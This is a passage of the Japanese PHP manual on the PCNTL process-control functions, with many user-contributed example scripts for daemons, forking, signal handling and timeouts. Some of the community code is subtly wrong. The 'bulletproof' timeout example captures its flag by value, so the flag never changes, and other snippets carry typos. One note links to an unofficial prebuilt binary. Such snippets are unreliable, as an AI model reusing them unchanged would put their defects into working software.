    public static $signo = 0;
    protected static $ini = null;
    public static function set($signo){
        self::$signo = $signo;
    }
    public static function get(){
        return(self::$signo);
    }
    public static function reset(){
        self::$signo = 0;
    }
}

class Test extends Logger {
    //public static $signal = null;

    public function __construct() {
        //self::$signal == null;
    }
    public function run(){
        while(true){
            pcntl_signal_dispatch();
            printf(".");
            sleep(1);
            if(Signal::get() == SIGHUP){
                Signal::reset();
                break;
            }
        }
        printf("\n");
    }
}

class Daemon extends Logger {
    /* config */
    const LISTEN = "tcp://192.168.2.15:5555";
    const pidfile     = __CLASS__;
    const uid        = 80;
    const gid        = 80;
    const sleep    = 5;

    protected $pool     = NULL;
    protected $config    = array();

    public function __construct($uid, $gid, $class) {
        $this->pidfile = '/var/run/'.basename(get_class($class), '.php').'.pid';
        //$this->config = parse_ini_file('sender.ini', true); //include_once(__DIR__."/config.php");
        $this->uid = $uid;
        $this->gid = $gid;
        $this->class = $class;
        $this->classname = get_class($class);

        $this->signal();
    }
    public function signal(){

        pcntl_signal(SIGHUP,  function($signo) /*use ()*/{
            //echo "\n This signal is called. [$signo] \n";
            printf("The process has been reload.\n");
            Signal::set($signo);
        });

    }
    private function daemon(){
        if (file_exists($this->pidfile)) {
            echo "The file $this->pidfile exists.\n";
            exit();
        }

        $pid = pcntl_fork();
        if ($pid == -1) {
             die('could not fork');
        } else if ($pid) {
             // we are the parent
             //pcntl_wait($status); //Protect against Zombie children
            exit($pid);
        } else {
            file_put_contents($this->pidfile, getmypid());
            posix_setuid(self::uid);
            posix_setgid(self::gid);
            return(getmypid());
        }
    }
    private function run(){

        while(true){

            printf("The process begin.\n");
            $this->class->run();
            printf("The process end.\n");

        }
    }
    private function foreground(){
        $this->run();
    }
    private function start(){
        $pid = $this->daemon();
        for(;;){
            $this->run();
            sleep(self::sleep);
        }
    }
    private function stop(){

        if (file_exists($this->pidfile)) {
            $pid = file_get_contents($this->pidfile);
            posix_kill($pid, 9);
            unlink($this->pidfile);
        }
    }
    private function reload(){
        if (file_exists($this->pidfile)) {
            $pid = file_get_contents($this->pidfile);
            //posix_kill(posix_getpid(), SIGHUP);
            posix_kill($pid, SIGHUP);
        }
    }
    private function status(){
        if (file_exists($this->pidfile)) {
            $pid = file_get_contents($this->pidfile);
            system(sprintf("ps ax | grep %s | grep -v grep", $pid));
        }
    }
    private function help($proc){
        printf("%s start | stop | restart | status | foreground | help \n", $proc);
    }
    public function main($argv){

        if(count($argv) < 2){
            $this->help($argv[0]);
            printf("please input help parameter\n");
            exit();
        }
        if($argv[1] === 'stop'){
            $this->stop();
        }else if($argv[1] === 'start'){
            $this->start();
        }else if($argv[1] === 'restart'){
            $this->stop();
            $this->start();
        }else if($argv[1] === 'status'){
            $this->status();
        }else if($argv[1] === 'foreground'){
            $this->foreground();
        }else if($argv[1] === 'reload'){
            $this->reload();
        }else{
            $this->help($argv[0]);
        }
    }
}

$daemon = new Daemon(80,80, new Test());
$daemon->main($argv);
?>


基本的な使用法

この例は、シグナルハンドラを有するデーモンプロセスをフォークします。

例1 プロセス制御の例

<?php
declare(ticks=1);

$pid = pcntl_fork();
if ($pid == -1) {
     die("fork できません");
} else if ($pid) {
     exit(); // 親プロセスの場合
} else {
     // 子プロセスの場合
}

// 制御側の端末からデタッチ
if (posix_setsid() == -1) {
    die("could not detach from terminal");
}

// シグナルハンドラを設定
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

// 無限ループでタスク実行
while (1) {

    // 何か面白いことをここで行う

}

function sig_handler($signo)
{

     switch ($signo) {
         case SIGTERM:
             // 終了タスクを処理
             exit;
             break;
         case SIGHUP:
             // 再起動タスクを処理
             break;
         default:
             // その他の全てのシグナルを処理
     }

}

?>

User Contributed Notes

There are no user contributed notes for this page.


PCNTL 関数

参考

POSIX 関数の節を参照することも 有用でしょう。

目次

  • pcntl_alarm — シグナルを送信するアラームを設定する
  • pcntl_async_signals — 非同期のシグナルハンドリングを有効/無効にするか、古い設定を返す
  • pcntl_errno — pcntl_get_last_error のエイリアス
  • pcntl_exec — 現在のプロセス空間で指定したプログラムを実行する
  • pcntl_fork — 現在実行中のプロセスをフォークする
  • pcntl_get_last_error — 直近の pcntl 関数が失敗したときのエラー番号を取得する
  • pcntl_getpriority — プロセスの優先度を取得する
  • pcntl_setpriority — プロセスの優先度を変更する
  • pcntl_signal_dispatch — ペンディングシグナル用のハンドラをコールする
  • pcntl_signal_get_handler — 指定されたシグナルの現在のハンドラを取得する
  • pcntl_signal — シグナルハンドラを設定する
  • pcntl_sigprocmask — ブロックされたシグナルを設定あるいは取得する
  • pcntl_sigtimedwait — タイムアウトつきでシグナルを待つ
  • pcntl_sigwaitinfo — シグナルを待つ
  • pcntl_strerror — 指定した errno に対応するシステムのエラーメッセージを取得する
  • pcntl_wait — 待つかフォークした子プロセスのステータスを返す
  • pcntl_waitpid — 待つかフォークした子プロセスのステータスを返す
  • pcntl_wexitstatus — 終了した子プロセスのリターンコードを返す
  • pcntl_wifexited — ステータスコードが正常終了を表しているかどうかを調べる
  • pcntl_wifsignaled — ステータスコードがシグナルによる終了を表しているかどうかを調べる
  • pcntl_wifstopped — 子プロセスが現在停止しているかどうかを調べる
  • pcntl_wstopsig — 子プロセスを停止させたシグナルを返す
  • pcntl_wtermsig — 子プロセスを終了させたシグナルを返す

User Contributed Notes

debasiss at mindfiresolutions dot com 07-Jun-2019 04:22
<?php
/**
 * @file
 * Working demo of simulating parallel process in PHP.
 */

// ****                       **** //
print "Main program started.... \n";
// Start two child processes.
createProcess("Job1");
createProcess("Job2");
print " *** Child Process started *** \n";

while (TRUE) {

 $pid = pcntl_waitpid(0, $status, WNOHANG);
    if ($pid > 0) {
        childProcessComplete($pid);
    }else if($pid === -1){
        print " *** Child Process Completed *** \n";
        allChildProcessComplete();
        exit();
    }

}
print "Main program end. \n";

/**
 * Method to start child process.
 */
function startChildProcess($childProcessName) {
    $executionTime = rand(5, 10);

    if($childProcessName === "Job1"){
        print "Starting Job1 on processId " .getmypid()."  at " . date('l jS \of F Y h:i:s A') . " expected time $executionTime seconds\n";
    }else if($childProcessName === "Job2"){
        print "Starting Job2 on processId " .getmypid()."  at " . date('l jS \of F Y h:i:s A') . " expected time $executionTime seconds\n";
    }

    // Simulate doing actual work with sleep().
    sleep($executionTime);
}

/**
 * Method to notify when system unable to start a process.
 */
function errorOnProcessLunch() {
    print "Failed to lunch process \n";
}

/**
 * Method to notify when a child process complete the task.
 */
function childProcessComplete($pid) {
    print "Child processing is done for $pid  at " . date('l jS \of F Y h:i:s A') . " \n";
}

/**
 * Method to create a new process.
 */
function createProcess($pname) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        errorOnProcessLunch();
    }
    else if ($pid === 0) {
        startChildProcess($pname);
        exit(); // Make sure to exit.
    }
    else {
        startParentProcess($pid);
    }

}

/**
 * Method to notify when parent thread execute.
 */
function startParentProcess($childProcessID){
    print "In parent thread created child processid $childProcessID \n";
}

/**
 * Method to notify when all child process has completed the task.
 */
function allChildProcessComplete(){
    print "All child processing completed \n";
}

?>
kevin at vanzonneveld dot net 05-Sep-2008 03:29
If you want to create a daemon in PHP, consider using System_Daemon http://pear.php.net/package/System_Daemon

Install it like this:
pear install -f system_daemon

Then use it like this:
<?php
// Include PEAR's Daemon Class
require_once "System/Daemon.php";

// Bare minimum setup
System_Daemon::setOption("appName", "mydaemonname");

// Spawn Deamon!
System_Daemon::start();

// Your PHP Here!
while (true) {
    doTask();
}

// Stop daemon!
System_Daemon::stop();
?>

More examples can be found inside the PEAR package.
m dot quinton at gmail dot com 08-Apr-2008 12:02
a nice example of a class framework to manage tasks using pcntl_fork.

<?php

/**
 * author : Marc Quinton / April 2008.
 *
 *  a simple task management framework using pcntl_fork, pcntl_wait.
 *
 *  - see at bottom for a sample usage.
 *  - you shoud overring Task class (SleepingClass is an example), and manage them in a pool, using taskManager
 */

error_reporting(E_ALL);

class Task {

    protected $pid;
    protected $ppid;

    function __construct(){
    }

    function fork(){
        $pid = pcntl_fork();
        if ($pid == -1)
            throw new Exception ('fork error on Task object');
        elseif ($pid) {
            # we are in parent class
            $this->pid = $pid;
            # echo "< in parent with pid {$his->pid}\n";
        } else{
            # we are is child
            $this->run();
        }
    }

    function run(){
        # echo "> in child {$this->pid}\n";
        # sleep(rand(1,3));
        $this->ppid = posix_getppid();
        $this->pid = posix_getpid();
    }

    # call when a task in finished (in parent)
    function finish(){
        echo "task finished {$this->pid}\n";
    }

    function pid(){
        return $this->pid;
    }
}

class SleepingTask extends Task{
    function run(){
        parent::run();
        echo "> in child {$this->pid}\n";

        # print_r($this);

        sleep(rand(1,5));
        echo "> child done {$this->pid}\n";
        exit(0);
    }
}

class TaskManager{

    protected $pool;

    function __construct(){
        $this->pool = array();
    }

    function add_task($task){
        $this->pool[] = $task;
    }

    function run(){

        foreach($this->pool as $task){
            $task->fork();
        }

        # print_r($this);
        # sleep(60);

        while(1){
            echo "waiting\n";
            $pid = pcntl_wait($extra);
            if($pid == -1)
                break;

            echo ": task done : $pid\n";
            $this->finish_task($pid);
        }

        echo "processes done ; exiting\n";
        exit(0);
    }

    function finish_task($pid){
        if($task = $this->pid_to_task($pid))
            $task->finish();
    }

    function pid_to_task($pid){
        foreach($this->pool as $task){
            if($task->pid() == $pid)
                return $task;
        }
        return false;
    }
}

$manager = new TaskManager();

for($i=0 ; $i<10 ; $i++)
    $manager->add_task(new SleepingTask());

$manager->run();

?>
registrazioni at XSPAMX dot tassetti dot net 05-Sep-2007 09:12
(PHP 5.2.4)

This is an example of multithreading keeping different connections to a mysql database: when children exit they close the connection and others can't use it any more generating problems. In this example I used variable variables to make a different connection per each child.

This scripts loops forever with one mother detached from the terminal and five children 'named' from 1 to 5. When one children sees it's name in the database (one table 'test.tb' with only one field 'test') he lets himself die. To kill children insert their value in the db. The mother suicides only when all children are dead.

What a sad but interesting story...

    $npid = pcntl_fork(); // DETACH FROM TERMINAL AND BE REAPED BY INIT

    if ($npid==-1) die("Error: impossible to pcntl_fork()\n");
    else if ($npid) exit(0); // THE GRANPA DIES
    else // MOTHER GOES ON TO MAKE CHILDREN
    {
        $children = 5;
        for ($i=1; $i<=$children; $i++)
        {
            $pid = pcntl_fork();
            if ($pid==-1) die("Error: impossible to pcntl_fork()\n");
            else if ($pid)
            {
                 $pid_arr[$i] = $pid;
            }
            if (!$pid) // CHILDREN
            {
                global $vconn;
                $vconn = "vconn$i";
                global $$vconn;
                $$vconn = @mysql_connect("mydbhost","mydbuser","mydbpwd");
                if (!($$vconn)) echo mysql_error();
                if (!($$vconn)) exit;

                while (1)
                {
                    $query = "SELECT test FROM test.tb";
                    $rs = mysql_query($query,$$vconn);
                    $rw = mysql_fetch_row($rs);
                    if ($rw[0]==$i) exit;
                    else
                    {
                        echo "Database is $rw[0] and I am $i, it's not my time, I will wait....\n";
                        sleep(1);
                    }
                }
            }
        }

        foreach ($pid_arr as $pid)
        {
            // we are the parent and we wait for all children to die
            pcntl_waitpid($pid, $status);
        }
        echo "All my children died, I will suicide...\n";
        exit();
    }
flyingguillotine1968 at yahoo dot com 12-Aug-2007 05:16
ok, heres what ya do to handle child process's ... :>

you want to pfork your main program, and let it exit,
allowing the new child to become the main program (parent process).

example psudo code :
main program start;
     ....
     if pfork'd child ok
          then exit ;

    // now your new child process is in control...
    // use a signal handler to make it exit (sigkill or sigterm probably)
    // when this new process pforks, store the new child PID's in an
    // array.   when your process  catch's the sigterm  signal
    // loop thru the array of its child PID's sending each child
    // sigkill , then call  pwait on them to wait for them to exit.
    // this will make sure any child process are cleaned up ok
    // THEN .. now here's the trick....
    // reset yer sigterm handler BACK to its original default handler,
   // thennnnn   raise sigterm , main program will exit ok now tooooo :>

example:
when your pfork'd main process gets sigterm ... then do something
like this :

foreach ($this->pForkList as $kiddie) {
$deadPID    = 0;
$this->sendSignal(SIGKILL,$kiddie);
do {
$deadPID = pcntl_waitpid(-1,WNOHANG);
if ($deadPID > 0) {
// kiddie has exited now ...
unset($this->pForkList[ array_search($deadPID,$this->pForkList)]);
break;
} // end if
} while ($deadPID == 0);

} // end for

// now reset sigterm ...
$this->signalSet($sigNum,SIG_DFL);
// RAISE sigterm now ...
$this->sendSignal(SIGTERM,$this->myPID);

this will allow your main process and all its child process's to exit properly and not leave and zombies or other bad stuff behind !
kementeusNOSPAM at gmail dot com 28-Dec-2006 09:43
In the example of the documentation we need to put the pctnl_signal statements BEFORE the while loop.

In that way we can execute whatever we put in the signal handler functions.
corychristison at lavacube dot com 02-Nov-2004 06:53
An easier way than what was first suggested in the first comment, to retrieve what signal your application is being sent would be to use get_defined_constants() to list all constants, loop through and strip out those that are not signals, and to check if it matches the value.

Here is my code for doing this, written for PHP5 only.
<?php

// php5 Specfic

function pcntl_sig_identify ( $sig_no ) {
    $get_constants = get_defined_constants(true);
    $pcntl_contstants = $get_constants["pcntl"];
    $keys = array_keys( $pcntl_contstants );
      foreach($keys as $key){
        if(strstr($key, "SIG") && !strstr($key, "_") && $pcntl_contstants[$key] == $sig_no){
      return $key;
    }
      } // end loop
} // end function pcntl_sig_identify

//
// This example will output "SIGTERM"
//

print pcntl_sig_identify(15) . "\n";

?>
andy at cbeyond dot net 20-Aug-2004 09:26
Suppose you want to fork off children to handle a few hundred different targets (like, say, SNMP polling, but that's just one example).  Since you don't want to fork-bomb yourself, here's one method of limiting the number of children you have in play at any one time:

#!/usr/bin/php -q
<?php
declare(ticks = 1);

$max=10;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
    case SIGCHLD:
      echo "SIGCHLD received\n";
      $child -= 1;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

for ($i=1;$i<=20;$i++) {
        while ($child >= $max) {
                sleep(5); echo "\t Maximum children allowed\n";
                }
        $child++;
        $pid=pcntl_fork();
        if ($pid == -1) {
                die("could not fork");
        } else if ($pid) {
                // we are the parent
        } else {
                // we are the child
                echo "child number $i\n";
                // presumably doing something interesting
                sleep(15);
                exit;
        }
}
04-Dec-2003 03:52
in example 1, i found unless i create function sig_handler _BEFORE_ pcnt_signal, it wouldnt work.. and would just fall to the floor bleeding to death

(note for people having these kinda probs)
cameronNO_SPAM at tripdubdev dot com 18-Nov-2003 12:36
I'm currently working on some code for this, but in case I forget to come back to post to the board, or in case it takes me a while, why not just have a separate background job running (started up via the shell) that tracks which sockets are available to clients ?  Then all you'd have to do is communicate with the one job (or perhaps its own mini-server) run in the background that keeps an array of the available sockets for the server.  This seems the most natural alternative since PHP disclaims that process control functionality should not be used in a web-server environment.  I would hate to build a server, especially one with high traffic, that had to run through a loop in order to find an available socket.
luca dot mariano at email dot it 12-Nov-2003 06:49
Hi folks,
if someone uses PHP-CLI onWin32 and wants to experiment the PCNTL stuff, I've packed a binary version of PHP with built-in pcntl, shmop, sysvshm and other typical Unix extensions... (thanks to Cygwin DLLs).
Download it: http://phplet.sf.net/modules.php?name=Web_Links&l_op=visit&lid=4
jeremy at nirvani dot net 15-Oct-2003 08:54
#!/usr/local/bin/php -q
<?php

# Jeremy Brand <jeremy@nirvani.net>
# http://www.nirvani.net/

# ./configure --enable-pcntl --enable-sigchild
# make
# make install

# This code example shows how to use a script to do multiprocessing.  Each time
# this script is ran, the result is 5 (in this example) processes running to
# accomplish a specified task.

# Examples could be a messaging queue.  You could get the number of messages in
# a queue and handle any or all of them asynchronously.

# Get the number of children you want to be born by running this
# script once.
$children = 5; # likely a function call here.

for ($i=1; $i<=$children; $i++)
{

  $pid = pcntl_fork();
  if ($pid == -1)
  {
    die("could not fork\n");
  }
  else if ($pid)
  {
    # If we are the parent, we did our job of giving birth,
    # now lets finish our job and die!
    exit(0);
  }
  else
  {
    # Since we are the child, fork so that init will become our parent.  Init
    # is good at wait()ing on children - ie: reaping.
    $cpid = pcntl_fork();
    if ($cpid == -1)
    {
      die("could not fork in child process\n");
    }
    if (!$cpid)
    {
      # We have now forked off from our parent and also are not waiting on any
      # other children to process, however other children are running
      # simutaniously to us.  Make sure the code you write here is safe to run
      # in this environment of multiprocessing - ie: proper locking, etc.
      # Write the custom code here that you want to multiprocess.

      # ADD CODE HERE TO MULTIPROCESS
      print "we are child number $i\n";

      # Don't forget to exit after the child processing is done.  Certainly
      # change this exit code if you need to however.
      exit(0);
    }
  }
}

?>
David Koopman 14-Sep-2003 01:32
I had a hard time finding a complete example of using PHP as a multi-process (or multi-threaded - I don't understand the difference in these two terms) daemon using connection pooling.  I put pieces of the puzzle together and came up with the program below.  I hope it helps someone.  Notes about making this work:

1) I rebuilt PHP on my machine with these config options:
./configure --enable-sockets --enable-pcntl --enable-sigchild
make
make install

2) I have problems when tried to handle SIGTERM and SIGHUP myself, so I removed these from my code, don't use them unless you have a special need for this:
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");

What I do is:
1. start the program, then fork to detach from the terminal (kill the parent and make the child the session leader).

2. bind to address and port and start listening.

3. fork $poolNum times, creating $poolNum children (this is the pool of daemons running.  The children handle the incoming connections).

4. keep the parent process running in a loop, constantly checking to see if it should create a new child.  It will always keep $poolNum spare children ready (as long as the total pooled connections doesn't exceed $maxDaemon).  As connections come in, more children are spawned.

5. When a new connection comes in, it is handed off to the first child.  This child then sends a SIGUSR1 signal back to the parent.  The parent has a signal handler for SIGUSR1, which will increment the $numActive variable by one.  The loop that is running (see 4 above) will note the increment in $numActive and automatically create a new child process to keep the process pool going.

I have to post the code in the next note, the note engine on this site won't allow such a long note to be posted, but I think this code example is well worth a comment on this...
schst at php dot net 01-Sep-2003 07:39
To get rid of the zombies when child processes terminate you do not have to write a lot of code that uses complex stuff like message queues.
Instead you only set a signal handler:

pcntl_signal(SIGCHLD, SIG_IGN);

Stephan
Patrice Levesque 14-Jun-2003 01:11
So, you want to create multiple child processes and don't want any zombies, don't you?

You can use IPC to achieve just that.  Every child that is spawned has to tell its parent that time has come for him to be terminated.  So, yes, zombies will be created, but once in a while the parent will 'clean up' after his kids.  Code:

<?php
  declare(ticks = 1);
  // create a IPC message queue
  $msgqueue = msg_get_queue(ftok("/tmp/php_msgqueue.stat", 'R'),0666 | IPC_CREAT);
  // loop for 1000 children
  for ($c = 0; $c < 1000; $c++) {
    // fork
    $pcid = pcntl_fork();
    if ($pcid == -1) {
      die("Could not fork!");
    }
    elseif ($pcid) { // we are the parent, look for zombie kids and terminate 'em
      // look in the IPC message queue if there are any entries
      $currentqueue = msg_stat_queue($msgqueue);
      $n = $currentqueue['msg_qnum']; // number of messages (number of kids to terminate)
      if ($n > 0) {
        echo "There are $n kids to terminate.\n";
        for ($i = 0; $i < $n; $i++) {
          // pop the kid's PID from the IPC message queue
          if (!msg_receive ($msgqueue, 1, $msg_type, 16384, $msg, true, 0, $msg_error)) {
            echo "MSG_RECV ERROR: $errmsg \n"; // something has gone wrong
          }
          else {
            pcntl_waitpid($msg, $tmpstat, 0); // terminate kid for real.
          };
        };
      };
    }
    else { // we are the child!
      if (!posix_setsid()) { die ("Could not detach"); }; // detach
      echo "I am child number $c\n";
      sleep(5); // do something useful
      // tell dad I'm finished via IPC: send him my PID
      if (!msg_send($msgqueue, 1, posix_getpid(), true, true, $errmsg)) {
        echo "MSG_SEND ERROR: $errmsg \n";
      };
      exit(); // become a zombie until dad kills me
    };
  };
?>
van[at]webfreshener[dot]com 10-Oct-2002 07:53
Forking your PHP daemon will cause it to zombie on exit.

...or so I've seen on:
FreeBSD (PHP4.2.x)
Debian (PHP4.3.0-dev)
Darwin (PHP4.3.0-dev)

This was tested with the example code above and other scripts created for evaluation.

Seems adding --enable-sigchild to your configure will get rid of the problem.

Hope that saves some hair tearing :]
keksov[at]gmx.de 29-May-2002 10:10
You have to use socket_select before socket_accept, so your code will wait for connection with select. socket_select can be interrupted by signals easily. Below is an example from my library (methods of class TNetSocket):
  //-- select
  function select($aread=NULL,$awrite=NULL,$aexcept=NULL,$timeout=NULL)
  {
    while(1)
    {
      $res="";
      $res=socket_select($aread, $awrite, $aexcept, $timeout);

      // if errno===0 it means what select was interrrupted by SysV signal
      if($res===false && socket_last_error($this->socket())!==0)
      { // error occured, interrupted not by a signal
        $this->set_socket_error(__LINE__);
        return(false);
      }
      break;
    }
    return(true);
  }

  //-- accept, wait for incomming connection
  function accept()
  {
    $this->clear_socket_error();
    $this->set_io_socket(_SOCKET_);

    $socket=$this->socket();
    $aread=array($socket);
    if ($this->select($a=&$aread)===false)
      return(false);

    $child_socket=socket_accept($this->socket);
    if($child_socket <= 0)
    { // error occured
      $this->set_socket_error(__LINE__);
      return(false);
    }

    $this->child_socket=$child_socket;
    $this->sockets[_CHILD_SOCKET_]=&$this->child_socket;
    $this->set_io_socket(_CHILD_SOCKET_);

    $a=&$this->peername;
    $res=socket_getpeername($child_socket,$a);

    if($res <= 0)
    { // error occured
      $this->set_socket_error(__LINE__);
      return(false);
    }

    $this->get_address_and_port(_CHILD_SOCKET_);
    TLogManager::phpserv("Connection accepted. ADDRESS $this->address, PORT $this->port","net_socket",__FILE__,__LINE__);

    $this->connected=true;
    return(true); // return new object of TNetSocket type
  }
daniel[at]lorch.cc 27-Feb-2002 03:48
This piece of code helped me to find out what signals are being sent to my process:

function sig_identify($signo) {
  switch($signo) {
    case SIGFPE:    return 'SIGFPE';
    case SIGSTOP:   return 'SIGSTOP';
    case SIGHUP:    return 'SIGHUP';
    case SIGINT:    return 'SIGINT';
    case SIGQUIT:   return 'SIGQUIT';
    case SIGILL:    return 'SIGILL';
    case SIGTRAP:   return 'SIGTRAP';
    case SIGABRT:   return 'SIGABRT';
    case SIGIOT:    return 'SIGIOT';
    case SIGBUS:    return 'SIGBUS';
    case SIGPOLL:   return 'SIGPOLL';
    case SIGSYS:    return 'SIGSYS';
    case SIGCONT:   return 'SIGCONT';
    case SIGUSR1:   return 'SIGUSR1';
    case SIGUSR2:   return 'SIGUSR2';
    case SIGSEGV:   return 'SIGSEGV';
    case SIGPIPE:   return 'SIGPIPE';
    case SIGALRM:   return 'SIGALRM';
    case SIGTERM:   return 'SIGTERM';
    case SIGSTKFLT: return 'SIGSTKFLT';
    case SIGCHLD:   return 'SIGCHLD';
    case SIGCLD:    return 'SIGCLD';
    case SIGIO:     return 'SIGIO';
    case SIGKILL:   return 'SIGKILL';
    case SIGTSTP:   return 'SIGTSTP';
    case SIGTTIN:   return 'SIGTTIN';
    case SIGTTOU:   return 'SIGTTOU';
    case SIGURG:    return 'SIGURG';
    case SIGXCPU:   return 'SIGXCPU';
    case SIGXFSZ:   return 'SIGXFSZ';
    case SIGVTALRM: return 'SIGVTALRM';
    case SIGPROF:   return 'SIGPROF';
    case SIGWINCH:  return 'SIGWINCH';
    case SIGPWR:    return 'SIGPWR';
  }
}

function sig_handler($signo) {
  echo "Caught " . sig_identify($signo) . " (" . $signo  . ") on " . posix_getpid() . "\n";
}

pcntl_signal(SIGFPE, "sig_handler");
pcntl_signal(SIGHUP, "sig_handler");
// pcntl_signal(SIGINT, "sig_handler");
pcntl_signal(SIGQUIT, "sig_handler");
pcntl_signal(SIGILL, "sig_handler");
pcntl_signal(SIGTRAP, "sig_handler");
pcntl_signal(SIGABRT, "sig_handler");
pcntl_signal(SIGIOT, "sig_handler");
pcntl_signal(SIGBUS, "sig_handler");
pcntl_signal(SIGPOLL, "sig_handler");
pcntl_signal(SIGSYS, "sig_handler");
pcntl_signal(SIGCONT, "sig_handler");
pcntl_signal(SIGUSR1, "sig_handler");
pcntl_signal(SIGUSR2, "sig_handler");
pcntl_signal(SIGSEGV, "sig_handler");
pcntl_signal(SIGPIPE, "sig_handler");
pcntl_signal(SIGALRM, "sig_handler");
pcntl_signal(SIGTERM, "sig_handler");
pcntl_signal(SIGSTKFLT, "sig_handler");
pcntl_signal(SIGCHLD, "sig_handler");
pcntl_signal(SIGCLD, "sig_handler");
pcntl_signal(SIGIO, "sig_handler");
pcntl_signal(SIGTSTP, "sig_handler");
pcntl_signal(SIGTTIN, "sig_handler");
pcntl_signal(SIGTTOU, "sig_handler");
pcntl_signal(SIGURG, "sig_handler");
pcntl_signal(SIGXCPU, "sig_handler");
pcntl_signal(SIGXFSZ, "sig_handler");
pcntl_signal(SIGVTALRM, "sig_handler");
pcntl_signal(SIGPROF, "sig_handler");
pcntl_signal(SIGWINCH, "sig_handler");
pcntl_signal(SIGPWR, "sig_handler");

I commented out SIGNIT, as it is the signal which is sent to your process when you press CTRL-C. If you catch this signal, you must handle it properly:

function sig_handler($signo) {
  switch($signo) {
    case SIGINT:
      // customized cleanup code
      exit; // now exit
      break;
  }
}

Otherwise the only possibility to stop your process is by sending a SIGKILL signal - you can do this on the shell by typing "kill -9 PID" (where -9 is the numerical value for SIGKILL).

Note: You cannot add a handler (i.e. ignore signals) for SIGSTOP and SIGKILL - for obvious reasons.


シグナルを送信するアラームを設定する

  • ≪ PCNTL 関数
  • pcntl_async_signals ≫
  • PHP Manual
  • PCNTL 関数
  • シグナルを送信するアラームを設定する

pcntl_alarm

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pcntl_alarm — シグナルを送信するアラームを設定する

説明

pcntl_alarm ( int $seconds ) : int

プロセスに対して、 指定した秒数後に SIGALRM シグナルを送信するタイマーを作成します。 pcntl_alarm() をコールすると、 それまでに設定されていたアラームはすべて取り消されます。

パラメータ

seconds

待機する秒数。seconds がゼロの場合は、 新しいアラームは作成されません。

返り値

それまでに予定されていたアラームの予定時刻までの秒数を返します。 事前に予定されていたアラームがなかった場合には 0 を返します。

User Contributed Notes

kuba at valentine dot dev 24-Oct-2020 08:25
This is that universal timeout functionality you dreamed about and always wanted to have and guess what - it's as reliable as it gets, it's basically bulletproof. It can interrupt absolutely anything you throw at it and more, you name it - socket_connect(), socket_read(), fread(), infinite while() loops, sleep(), semaphores - seriously, any blocking operation. You can specify your own handler and just get over anything that normally would make your code unresponsive.

<?php
/**
 * Because we shouldn't handle asynchronous
 * events in synchronous manner.
 */
pcntl_async_signals(TRUE);

/**
 * Some flag we can change to know for sure
 * that our operation timed out.
 */
$timed_out = FALSE;

/**
 * Register SIGALRM signal handler to avoid
 * getting our process killed when signal arrives.
 */
pcntl_signal(SIGALRM, function($signal) use ($timed_out) {
  $timed_out = TRUE;
});

/**
 * Now we set our timeout for 2 seconds, but it's not set in stone
 * we can call pcntl_alarm() anytime to extend or to turn if off.
 */
pcntl_alarm(2);

/**
 * Here we do something with unpredictable outcome that could
 * possibly block our program for a very long time.
 * I like sockets as an example, but it can be anything.
 */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$connection = socket_connect($socket, 'irc.ircnet.com', 6667);

/**
 * If our blocking operation didn't timed out then
 * timer is still ticking, we should turn it off ASAP.
 */
$timed_out || pcntl_alarm(0);

/**
 * And now we do whatever we want to do.
 */
$status = $connection ? 'Connected.' : ($timed_out ? 'Timed out.' : socket_strerror(socket_last_error($socket)));
echo 'STATUS: '. $status . PHP_EOL;
Gao,Shengwei 19-Apr-2018 05:12
Use pcntl_signal_dispatch() to catch the signal, don't use declare(ticks=1) because it is ineffcient

<?php
pcntl_signal(SIGALRM, function () {
    echo 'Received an alarm signal !' . PHP_EOL;
}, false);

pcntl_alarm(5);

while (true) {
    pcntl_signal_dispatch();
    sleep(1);
}


非同期のシグナルハンドリングを有効/無効にするか、古い設定を返す

  • ≪ pcntl_alarm
  • pcntl_errno ≫
  • PHP Manual
  • PCNTL 関数
  • 非同期のシグナルハンドリングを有効/無効にするか、古い設定を返す

pcntl_async_signals

(PHP 7 >= 7.1.0, PHP 8)

pcntl_async_signals — 非同期のシグナルハンドリングを有効/無効にするか、古い設定を返す

説明

pcntl_async_signals ( bool $on = null ) : bool

on パラメータが省略された場合、 pcntl_async_signals() は非同期のシグナルハンドリングが有効かどうかを返します。 省略されなかった場合、非同期のシグナルハンドリングを 有効/無効 にします。

パラメータ

on

非同期のシグナルハンドリングが有効にされるべきかどうか

返り値

getter として使われた場合(オプションのパラメータを省略した場合)、 この関数は非同期シグナルハンドリングが有効かどうかを返します。 setter として使われた場合(つまり、オプションのパラメータを与えた場合)、 この関数はこの関数を呼び出す 前に シグナルハンドリングが有効だったかを返します。

参考

  • declare

User Contributed Notes

There are no user contributed notes for this page.


pcntl_get_last_error のエイリアス

  • ≪ pcntl_async_signals
  • pcntl_exec ≫
  • PHP Manual
  • PCNTL 関数
  • pcntl_get_last_error のエイリアス

pcntl_errno

(PHP 5 >= 5.3.4, PHP 7, PHP 8)

pcntl_errno — pcntl_get_last_error() のエイリアス

説明

この関数は次の関数のエイリアスです。 pcntl_get_last_error()

User Contributed Notes

renmengyang567 at gmail dot com 06-Apr-2019 04:43
<explain>
This example installs an alarm signal, but the callback function does not exist,This will set the last error. Then we will print out the last error.

<?php
set_error_handler(function(){});
pcntl_signal(SIGALRM,'sig_handler',false);
print  'Your error returned was (Code):'.pcntl_get_last_error().PHP_EOL;
print  'Your error info:'.pcntl_strerror(pcntl_get_last_error()).PHP_EOL;


現在のプロセス空間で指定したプログラムを実行する

  • ≪ pcntl_errno
  • pcntl_fork ≫
  • PHP Manual
  • PCNTL 関数
  • 現在のプロセス空間で指定したプログラムを実行する

pcntl_exec

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pcntl_exec — 現在のプロセス空間で指定したプログラムを実行する

説明

pcntl_exec ( string $path , array $args = ? , array $envs = ? ) : void

指定した引数でプログラムを実行します。

パラメータ

path

path は、バイナリ実行ファイルへのパスか、 あるいは有効な実行ファイルを指す shebang (例: #!/usr/local/bin/perl) が一行目に存在するスクリプトへのパスである必要があります。 詳細な情報については、システムの man ページで execve(2) を参照ください。

args

args は、プログラムに渡す引数文字列の配列です。

envs

